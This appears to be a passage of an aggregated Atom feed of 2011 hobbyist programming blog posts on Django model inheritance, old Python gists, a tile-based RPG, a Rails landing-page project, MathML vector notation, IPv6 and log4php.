&lt;li&gt;&lt;a href=&quot;http://kijiji.ca&quot;&gt;Kijiji&lt;/a&gt; &amp;#8211; Classifieds&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.craigslist.org&quot;&gt;Craigslist&lt;/a&gt; &amp;#8211; Classifieds&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://jslint.com/&quot;&gt;Jslint&lt;/a&gt; &amp;#8211; Lint for JavaScript (as a web service)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://validator.w3.org/&quot;&gt;w3cvalidator&lt;/a&gt; &amp;#8211; Validate your html!&lt;/li&gt;
&lt;/ul&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Django Models and Inheritance</title>
		<link href="http://www.allthingsexpounded.com/2011/03/django-models-and-inheritance/"/>
		<id>http://www.allthingsexpounded.com/?p=2358</id>
		<updated>2011-03-11T22:54:53+00:00</updated>
		<content type="html">&lt;p&gt;One of the first stumbling blocks that I came across as I&amp;#8217;ve been learning Django (a Python web framework) was when I tried to do some inheritance with my models in &lt;em&gt;app/models.py&lt;/em&gt;.  It had to do with abstract super classes.&lt;/p&gt;
&lt;p&gt;Intuitively, I assumed that Django would take super classes and figure out how they worked and ignore the abstract super (or base) classes persay and  generate the SQL for their sub (or derived) classes by properly negotiating the inheritance.&lt;/p&gt;
&lt;p&gt;So I went ahead and did something like this:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;class super_class(models.Model):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt;&amp;gt; field1 = models.BooleanField()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;class sub_class(super_class)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt;&amp;gt;  field2 = models.BooleanField()&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;I was wrong. It generated the SQL tables for all of the classes, including the abstract super classes, which technically could be made to work, but is certainly not what I wanted.  While it isn&amp;#8217;t very apparent in an example with just two models, it introduces too much complexity in the database design since it makes a table relationship for every inheritance.  We want tables for concrete super classes but not abstract ones.&lt;/p&gt;
&lt;p&gt;So, on to my next intuition. I assumed that if I made my super class not inherit models.Model and made the sub class use multiple inheritance and inherit models.Model and the sub class, this would all work.  Seemed to make sense to me at least.  So, I did something like this:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;class super_class():&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt;&amp;gt; field1 = models.BooleanField()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;class sub_class(model.Models, super_class)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt;&amp;gt;  field2 = models.BooleanField()&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Again, I was wrong. While last time the result was convoluted and inefficient, this time the result was worse and clearly crippled. While the correct tables were displayed (ie. the super classes didn&amp;#8217;t appear as a table), the fields from the Super Class (represented in my snippet represented by &amp;#8220;field1&amp;#8243;) were missing. I assumed that, perhaps, the model for the sub class would get &amp;#8220;field 1&amp;#8243; even though the super class was not inheriting model.Models.  I was wrong and stuck.&lt;/p&gt;
&lt;p&gt;With some assistance from Michal Petrucha over at &lt;a href=&quot;https://groups.google.com/group/django-users/&quot;&gt;django-users&lt;/a&gt;, I was able to learn that I was indeed missing something.&lt;/p&gt;
&lt;p&gt;In order to make what I was doing, I had to set a property within a Meta class embedded in my super class. Like so:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;class super_class(models.Model):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt;&amp;gt; field1 = models.BooleanField()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt;&amp;gt; class Meta:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt;&amp;gt; &amp;gt;&amp;gt;&amp;gt; abstract = True&lt;br /&gt;
&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;class SubClass(SuperClass)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;gt;&amp;gt;&amp;gt;  field2 = models.BooleanField()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With this little modification, everything works as expected. I have my abstract super classes and sub classes, and the relationship between them works as I would expect. Abstract super classes  propagate their properties to the SQL tables of their sub classes, but don&amp;#8217;t actually show up as a table of their own.&lt;/p&gt;
&lt;p&gt;Thank you Django-Users and especially Michal in helping me to further my Django understanding!&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Ancient Code on GitHub</title>
		<link href="http://www.allthingsexpounded.com/2011/03/ancient-code-on-github/"/>
		<id>http://www.allthingsexpounded.com/?p=2348</id>
		<updated>2011-03-11T17:08:36+00:00</updated>
		<content type="html">&lt;p&gt;I rarely speak about technical/programming things on this blog, but you may see that changing a bit.  Sometimes I find I don&amp;#8217;t need a blog as an outlook to talk about technical things, as has been the case for years, and so then I blog on other things. And at other times, it is sort of nice to talk about my technical interests!&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ve joined &lt;a href=&quot;http://github.com&quot;&gt;GitHub&lt;/a&gt; and just making some really quick perusals of it. It&amp;#8217;s a really neat community. The easiest way to describe it is by the motto &amp;#8220;social coding&amp;#8221;.&lt;/p&gt;
&lt;p&gt;So far my contributions have been limited to Gists, so no repository hacking yet (although technically a gist has its own little repository). What I&amp;#8217;ve posted are basically old Python code snippets that I found laying around on my usb hd from back in the day. That&amp;#8217;s &amp;#8220;old&amp;#8221; with a capital O.  Nothing close to profound, elegant, or  significant.   If there was such a category, it would probably be filed  as &lt;em&gt;Ancient Throw-Away Code Snippets That Nobody Will Care About&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Here they are:  &lt;a href=&quot;https://gist.github.com/866208&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/866208&quot;&gt;gist: 866208&lt;/a&gt; A Demonstration of how to use a wxPython &amp;#8220;Notebook&amp;#8221; with panels (WARNING: old code)  &lt;a href=&quot;https://gist.github.com/862171&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/862171&quot;&gt;gist: 862171&lt;/a&gt; An incomplete experiment with building calendar functionality with the Python icalendar module&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/862159&quot;&gt;gist: 862159&lt;/a&gt; Old code generating txt list of contents of a collection of zip files &amp;#8212; shows zipfile module &lt;a href=&quot;https://gist.github.com/861061&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/861061&quot;&gt;gist: 861061&lt;/a&gt; Some throwaway code I used to demonstrate the IDEA cipher with the PyCrypto library  &lt;a href=&quot;https://gist.github.com/861057&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/861057&quot;&gt;gist: 861057&lt;/a&gt; Some throwaway code I used to demonstrate the RC5 cipher with the PyCrypto library&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/861053&quot;&gt;gist: 861053&lt;/a&gt; Some throwaway code I used to demonstrate the DES3 cipher with the PyCrypto library&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/861040&quot;&gt;gist: 861040&lt;/a&gt; Some throwaway code I used to demonstrate the DES cipher with the PyCrypto library  &lt;a href=&quot;https://gist.github.com/861037&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/861037&quot;&gt;gist: 861037&lt;/a&gt; Some throwaway code I used to demonstrate the blowfish cipher with the PyCrypto library&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/861036&quot;&gt;gist: 861036&lt;/a&gt; Some throwaway code I used to demonstrate generating hashes with the PyCrypto library&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/861011&quot;&gt;gist: 861011&lt;/a&gt; Python Anagram Fetcher (WARNING: obsolete code)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/860797&quot;&gt;gist: 860797&lt;/a&gt; SermonAudioParser &amp;#8211; A throwaway demo of using UniversalFeedParser to do some basic searches on the SermonAudio.com feed&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gist.github.com/866207&quot;&gt;gist: 866207&lt;/a&gt; A sample Python StringValidator class (warning: OLD CODE)&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">more on my rpg</title>
		<link href="http://blog.sandmines.org/?q=node/4"/>
		<id>http://blog.sandmines.org/4 at http://blog.sandmines.org</id>
		<updated>2011-03-09T06:34:23+00:00</updated>
		<content type="html">&lt;p&gt;I've added quite a bit of functionality to my rpg since my last blog entry. line of sight, lighting areas, lightsource ranges, and many other things.&lt;br /&gt;
 Rather than plugging up my blog, I've decided to post my changes / additions / etc to my forum.&lt;br /&gt;
 &lt;a href=&quot;http://forums.sandmines.org/viewtopic.php?f=8&amp;amp;t=3&quot; title=&quot;http://forums.sandmines.org/viewtopic.php?f=8&amp;amp;t=3&quot;&gt;http://forums.sandmines.org/viewtopic.php?f=8&amp;amp;t=3&lt;/a&gt; is the url to the thread.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://images.sandmines.org/game_img.jpg&quot; title=&quot;http://images.sandmines.org/game_img.jpg&quot;&gt;http://images.sandmines.org/game_img.jpg&lt;/a&gt; is the latest image which happens to be inside of a dungeon.&lt;/p&gt;</content>
		<author>
			<name>Brad Bobak</name>
			<uri>http://blog.sandmines.org</uri>
		</author>
		<source>
			<title type="html">www.sandmines.org</title>
			<link rel="self" href="http://blog.sandmines.org/?q=rss.xml"/>
			<id>http://blog.sandmines.org/?q=rss.xml</id>
			<updated>2012-02-06T14:00:13+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Announcing Viral Landing Page</title>
		<link href="http://alanp.ca/blog/2011/03/02/announcing-viral-landing-page/"/>
		<id>http://alanp.ca/blog/?p=217</id>
		<updated>2011-03-02T05:17:03+00:00</updated>
		<content type="html">&lt;p&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Falanp.ca%2Fblog%2F2011%2F03%2F02%2Fannouncing-viral-landing-page%2F&amp;amp;title=Announcing%20Viral%20Landing%20Page&quot; id=&quot;wpa2a_4&quot;&gt;&lt;img src=&quot;http://alanp.ca/blog/wp-content/plugins/add-to-any/share_save_171_16.png&quot; width=&quot;171&quot; height=&quot;16&quot; alt=&quot;Share&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;I have been working on a few projects which require a landing page over the past couple of months, and this has come to the forefront of my thoughts more recently. As a Startup Weekend alumnus, I was pretty excited to see that &lt;a href=&quot;http://www.launchrock.com&quot;&gt;launchrock&lt;/a&gt; was fully launched and gaining quite a bit of traction. One problem, though, is that I would have to sign up for each project and then promote the links. I don&amp;#8217;t like to post too many links on my &lt;a href=&quot;http://twitter.com/alanpca&quot;&gt;Twitter&lt;/a&gt; and/or Facebook accounts, so I decided against this. If you&amp;#8217;re not familiar with the concept, here is an excerpt from the description on the Github repo:&lt;/p&gt;
&lt;blockquote&gt;
&lt;pre&gt;When a user submits their e-mail address, it will immediately be recorded to the
local database. The user will then be shown &quot;sharing&quot; icons from Facebook and
Twitter. Each successful click or referral will be recorded to the database for
that user. This makes it easier for you to allow earlier access to people who are
driving traffic to your site.
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;The next route was to implement something similar, which I did over the past couple of days. The result is &lt;a href=&quot;https://github.com/alanpca/viral-landing-page&quot;&gt;viral-landing-page&lt;/a&gt; (very original name, I know), which can be found in my &lt;a href=&quot;https://github.com/alanpca&quot;&gt;Github repositories&lt;/a&gt; immediately. Viral-landing-page was written in Ruby on Rail because, well, I love the framework. For Javascript, I chose jQuery for similar reasons.&lt;/p&gt;
&lt;p&gt;Viral-landing-page far from polished, but it should be good enough to begin using immediately. I chose to license it under the &lt;a href=&quot;https://github.com/alanpca/viral-landing-page/blob/master/LICENSE&quot;&gt;BSD open source license&lt;/a&gt;, which is quite permissive. While it isn&amp;#8217;t required, I&amp;#8217;d like to know who is using this software (and early access to your startup =D). You can comment on this blog post, or contact me via any other methods. I will be actively adding features (maybe an admin viewer) as I use the project more and more for my own needs. Feel free to fork and push back any changes!&lt;/p&gt;</content>
		<author>
			<name>Alan P. Laudicina</name>
			<uri>http://alanp.ca/blog</uri>
		</author>
		<source>
			<title type="html">alanp.ca : blog</title>
			<subtitle type="html">The world, according to alanp</subtitle>
			<link rel="self" href="http://alanp.ca/blog/feed/"/>
			<id>http://alanp.ca/blog/feed/</id>
			<updated>2011-09-20T13:00:19+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">rpg coming along even more</title>
		<link href="http://blog.sandmines.org/?q=node/3"/>
		<id>http://blog.sandmines.org/3 at http://blog.sandmines.org</id>
		<updated>2011-02-07T12:13:42+00:00</updated>
		<content type="html">&lt;p&gt;Well, its my third day in, and my rpg is maturing slowly.&lt;/p&gt;
&lt;p&gt; I've added a character creation dialog &lt;a href=&quot;http://images.sandmines.org/game_gen.jpg&quot; title=&quot;http://images.sandmines.org/game_gen.jpg&quot;&gt;http://images.sandmines.org/game_gen.jpg&lt;/a&gt;. race / class descriptions are read in and parsed from a simple text file. dice values such as '3d4' can be specified.&lt;/p&gt;
&lt;p&gt; I've also added a simple game dev menu dialog. &lt;a href=&quot;http://images.sandmines.org/game_dev.jpg&quot; title=&quot;http://images.sandmines.org/game_dev.jpg&quot;&gt;http://images.sandmines.org/game_dev.jpg&lt;/a&gt;. It just lets me hide and show the small version of the map &lt;a href=&quot;http://images.sandmines.org/game_smallmap.jpg&quot; title=&quot;http://images.sandmines.org/game_smallmap.jpg&quot;&gt;http://images.sandmines.org/game_smallmap.jpg&lt;/a&gt;. It also has a few test features such as not taking any damage and killing monsters fast.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.sandmines.org/?q=node/3&quot; target=&quot;_blank&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content>
		<author>
			<name>Brad Bobak</name>
			<uri>http://blog.sandmines.org</uri>
		</author>
		<source>
			<title type="html">www.sandmines.org</title>
			<link rel="self" href="http://blog.sandmines.org/?q=rss.xml"/>
			<id>http://blog.sandmines.org/?q=rss.xml</id>
			<updated>2012-02-06T14:00:13+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">my basic rpg</title>
		<link href="http://blog.sandmines.org/?q=node/2"/>
		<id>http://blog.sandmines.org/2 at http://blog.sandmines.org</id>
		<updated>2011-02-05T22:58:21+00:00</updated>
		<content type="html">&lt;p&gt;Well I started my basic rpg yesterday, and am happy to say it is coming along!!&lt;/p&gt;
&lt;p&gt; &lt;a href=&quot;http://images.sandmines.org/game.jpg&quot; title=&quot;http://images.sandmines.org/game.jpg&quot;&gt;http://images.sandmines.org/game.jpg&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; is a screenshot.&lt;/p&gt;
&lt;p&gt; Its a simple tile-based, turn-based game (getting ideas from zangband).&lt;/p&gt;
&lt;p&gt; it generates content dynamically (or at least it will, for now, it just draws random blocks of images :) )&lt;/p&gt;
&lt;p&gt; it allows targetting by pressing tab and it will cycle through the near monsters.&lt;/p&gt;
&lt;p&gt; it has an action bar for your attacks, etc.&lt;/p&gt;
&lt;p&gt; it draws a little 'hit' image (that stays for 400ms for now) on a monster when you hit it.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://blog.sandmines.org/?q=node/2&quot; target=&quot;_blank&quot;&gt;read more&lt;/a&gt;&lt;/p&gt;</content>
		<author>
			<name>Brad Bobak</name>
			<uri>http://blog.sandmines.org</uri>
		</author>
		<source>
			<title type="html">www.sandmines.org</title>
			<link rel="self" href="http://blog.sandmines.org/?q=rss.xml"/>
			<id>http://blog.sandmines.org/?q=rss.xml</id>
			<updated>2012-02-06T14:00:13+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Lévy Flight Visualization in Python</title>
		<link href="http://www.latenightpc.com/blog/archives/2011/01/31/l%C3%A9vy-flight-visualization-in-python"/>
		<id>http://www.latenightpc.com/65645 at http://www.latenightpc.com</id>
		<updated>2011-01-31T12:45:10+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;A Lévy flight is a kind of random walk, and supposedly it looks like the paths sharks follow when hunting. Basically you get a bunch of points near one locale then a jump to a new locale. It must've been mentioned on Numb3rs at some point because I read a little more &lt;a href=&quot;http://en.wikipedia.org/wiki/L%C3%A9vy_flight&quot;&gt;about it&lt;/a&gt; and wasn't satisfied with the pictures on Wikipedia. So I wrote a little visualization with PyGame. I borrowed heavily from the stars.py example that comes with PyGame but the whole thing only took 60 lines. Have a look, I put it up on &lt;a href=&quot;http://code.google.com/p/randomwalks/source/browse/levy.py&quot;&gt;Google Code&lt;/a&gt;.&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2012-02-06T14:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">On the 6</title>
		<link href="http://blog.free.draisey.ca/node/103"/>
		<id>http://blog.free.draisey.ca/103 at http://blog.free.draisey.ca</id>
		<updated>2011-01-30T16:08:44+00:00</updated>
		<content type="html">&lt;div class=&quot;field field-name-upload field-type-file field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above&quot;&gt;&lt;div class=&quot;field-label&quot;&gt;Tags:&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;&lt;a href=&quot;http://blog.free.draisey.ca/taxonomy/term/19&quot;&gt;wuug ip6&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;Yup.  I took the leap and have set up shop on the greater ip6 landscape.  You can see far but it&amp;#039;s pretty lonely out here.  Not much traffic coming this way.  And I am only able to test the server via IPv4Gate which offers a cool service where you append .ipv4.sixxs.org to the end of the domain of the web site you are interested in browsing to and it acts as an intermediary between your xenophobic old ip4 home connection and the great open ip6 vistas --- no complicated tunnel configuration required.  This is kind of like NAT but it operates at a much higher level --- it needs to rewrite absolute URLs to use the domain prefix otherwise things break --- and that rewriting does break site linking to ip4 only sites.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2012-02-06T12:00:06+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Drupal 7</title>
		<link href="http://blog.free.draisey.ca/node/102"/>
		<id>http://blog.free.draisey.ca/102 at http://blog.free.draisey.ca</id>
		<updated>2011-01-06T17:23:51+00:00</updated>
		<content type="html">&lt;div class=&quot;field field-name-upload field-type-file field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;field field-name-body field-type-text-with-summary field-label-hidden&quot;&gt;&lt;div class=&quot;field-items&quot;&gt;&lt;div class=&quot;field-item even&quot;&gt;So the upgrade hasn&amp;#039;t been painless.  I am getting error messages on every create content form to do with fields, even though I am not using any at the monent.  Also the dashboard wont seem to turn on.  The overlay is quite nice though.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Matt Draisey</name>
			<uri>http://blog.free.draisey.ca</uri>
		</author>
		<source>
			<title type="html">Matt's Blog</title>
			<link rel="self" href="http://blog.free.draisey.ca/rss.xml"/>
			<id>http://blog.free.draisey.ca/rss.xml</id>
			<updated>2012-02-06T12:00:06+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Write vectors like you mean it</title>
		<link href="http://www.latenightpc.com/blog/archives/2011/01/05/write-vectors-like-you-mean-it"/>
		<id>http://www.latenightpc.com/65644 at http://www.latenightpc.com</id>
		<updated>2011-01-05T16:55:19+00:00</updated>
		<content type="html">&lt;p&gt;Every math class I took used an arrow like ⇀ over a variable name to denote a vector. But a lot of books use a really heavy bold to indicate a vector instead. I think it's because of the difficulty of printing a book with special symbols all over the place. Luckily now we have text shown on screens and easy composition tools so that's not an issue today and kids are taught how to put a &quot;Rightwards Harpoon With Barb Upwards&quot; over letters on the second day of keyboarding class. What? You were sick that day? Here, I'll explain.
&lt;/p&gt;&lt;p&gt;
Okay, it's not that easy. If only U+034F COMBINING GRAPHEME JOINER joined graphemes (which it &lt;a href=&quot;http://www.unicode.org/faq/char_combmark.html#16&quot;&gt;does not&lt;/a&gt;). Unicode doesn't cover the case of generically putting one glyph over another, I'm not sure exactly why, but it sounds like what I want might be considered a &lt;a href=&quot;http://www.unicode.org/faq/ligature_digraph.html#Pf1&quot;&gt;Presentation Form&lt;/a&gt;. Too bad, I wish basic math notation was part of plain text but it's not. So we need a markup language.
&lt;/p&gt;&lt;p&gt;

MathML is the XML language that's built for writing stuff like this and up until now simple MathML examples have evaded me. But today I'm going to put a Rightwards Harpoon With Barb Upwards over a letter, like any &lt;a href=&quot;http://discussions.apple.com/thread.jspa?messageID=8885683&quot;&gt;high school student typing their physics homework&lt;/a&gt; should be able to do. Luckily, like SVG, MathML is being retrofitted into html5 and I have the lucky happenstance of writing this post in Firefox 4 beta 8, which renders MathML in html5. Other browsers may barf.
&lt;/p&gt;&lt;p&gt;
MathML has a presentational and content markup. It looks like the content markup is about calculating things and letting machines know they can interpret the MathML expression. That's not what I'm after today, I'm not going to make a mathematical expression, just one statement. In the presentational markup it quickly becomes clear that the mrow element does a lot of work and mo is the &lt;a href=&quot;http://www.w3.org/TR/MathML2/chapter3.html#presm.mo&quot;&gt;&quot;magic operator&quot; element&lt;/a&gt; (I'm sure that's not what it stands for but it certainly does seem to do layout by magic). 

&lt;/p&gt;&lt;p&gt;

&lt;/p&gt;&lt;p&gt;
So the situation is this: it looks like we need an mrow containing the vector symbol, ⇀, and my variable name. After a little poking around I came up with this markup:

&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;xml geshifilter-xml&quot;&gt;&lt;span class=&quot;sc3&quot;&gt;&lt;span class=&quot;re1&quot;&gt;&amp;lt;math&lt;span class=&quot;re2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;sc3&quot;&gt;&lt;span class=&quot;re1&quot;&gt;&amp;lt;mrow&lt;span class=&quot;re2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;sc3&quot;&gt;&lt;span class=&quot;re1&quot;&gt;&amp;lt;mover&lt;span class=&quot;re2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;sc3&quot;&gt;&lt;span class=&quot;re1&quot;&gt;&amp;lt;mi&lt;span class=&quot;re2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
v&lt;br /&gt;
&lt;span class=&quot;sc3&quot;&gt;&lt;span class=&quot;re1&quot;&gt;&amp;lt;/mi&lt;span class=&quot;re2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;sc3&quot;&gt;&lt;span class=&quot;re1&quot;&gt;&amp;lt;mo&lt;span class=&quot;re2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;sc1&quot;&gt;&amp;amp;RightVector;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;sc3&quot;&gt;&lt;span class=&quot;re1&quot;&gt;&amp;lt;/mo&lt;span class=&quot;re2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;sc3&quot;&gt;&lt;span class=&quot;re1&quot;&gt;&amp;lt;/mrow&lt;span class=&quot;re2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;sc3&quot;&gt;&lt;span class=&quot;re1&quot;&gt;&amp;lt;/math&lt;span class=&quot;re2&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;
The Unicode character ⇀ (which is &amp;amp;#x21C0) should act the same as a named entity. I have an XML-brain though so I jumped into the &lt;a href=&quot;http://www.w3.org/TR/MathML2/appendixf.html#oper-dict.entries&quot;&gt;Operator Dictionary&lt;/a&gt; and found the named entity that sounds like what I want: &amp;amp;RightVector;. The Operator Dictionary looks like an essential component of getting what an &amp;lt;mo&amp;gt; element might do. Using the entity is also pretty clear and may lead to valid XML if that's something you need. And here's what it looks like if your browser renders the markup above:
&lt;/p&gt;&lt;p&gt;
&lt;strong&gt;




v


&amp;amp;RightVector



&lt;/strong&gt;
&lt;/p&gt;&lt;p&gt;
(this looks perfect to me in my current browser).

&lt;/p&gt;&lt;p&gt;
Getting this MathML that renders left me with one more question. If I just have the vector symbol in an mtext element, what happens if I want the arrow over-top some compound expression like uv (though I don't think I've ever seen this in a text book). Here it is: 




uv


&amp;amp;RightVector


, and this renders exactly as I'd hope. 
&lt;/p&gt;
I also tried using an mtext element instead of the mo and that seems to work just fine. I'm not clear on what the difference between the two is yet but the description of mo sounded pretty convincing that it was the &quot;right&quot; element for this.
&lt;!--break--&gt;&lt;/p&gt;</content>
		<author>
			<name>Rob Russell</name>
			<uri>http://www.latenightpc.com</uri>
		</author>
		<source>
			<title type="html">Late Night PC</title>
			<link rel="self" href="http://www.latenightpc.com/rss.xml"/>
			<id>http://www.latenightpc.com/rss.xml</id>
			<updated>2012-02-06T14:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">log4php</title>
		<link href="http://www.latenightpc.com/blog/archives/2011/01/03/log4php"/>
		<id>http://www.latenightpc.com/65643 at http://www.latenightpc.com</id>
		<updated>2011-01-04T03:55:21+00:00</updated>
		<content type="html">&lt;p&gt;&lt;/p&gt;&lt;p&gt;log4php was pretty easy to get started with but I think it's made for people who already understand Log4J. The &lt;a href=&quot;http://logging.apache.org/log4php/docs/configuration.html&quot;&gt;configuration&lt;/a&gt; page is pretty clear for a basic set up but there are a ton of more advanced options.&lt;/p&gt;
&lt;p&gt;In my case I've been using something like&lt;/p&gt;
&lt;p&gt;&lt;div class=&quot;geshifilter&quot;&gt;&lt;div class=&quot;text geshifilter-text&quot;&gt;date_default_timezone_set('America/Los_Angeles');&lt;br /&gt;
require_once &amp;quot;log4php/Logger.php&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
class Foo {&lt;br /&gt;
&amp;nbsp; public function __construct($cid = 0) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; Logger::configure(dirname(__FILE__).'/log4php.properties');&lt;br /&gt;
&amp;nbsp; &amp;nbsp; $this-&amp;gt;logger = Logger::getLogger('Foo');&lt;br /&gt;
...&lt;br /&gt;
&amp;nbsp; &amp;nbsp; $this-&amp;gt;logger-&amp;gt;debug('made a foo ' . $someVal);&lt;br /&gt;
&amp;nbsp; }&lt;br /&gt;
}&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;
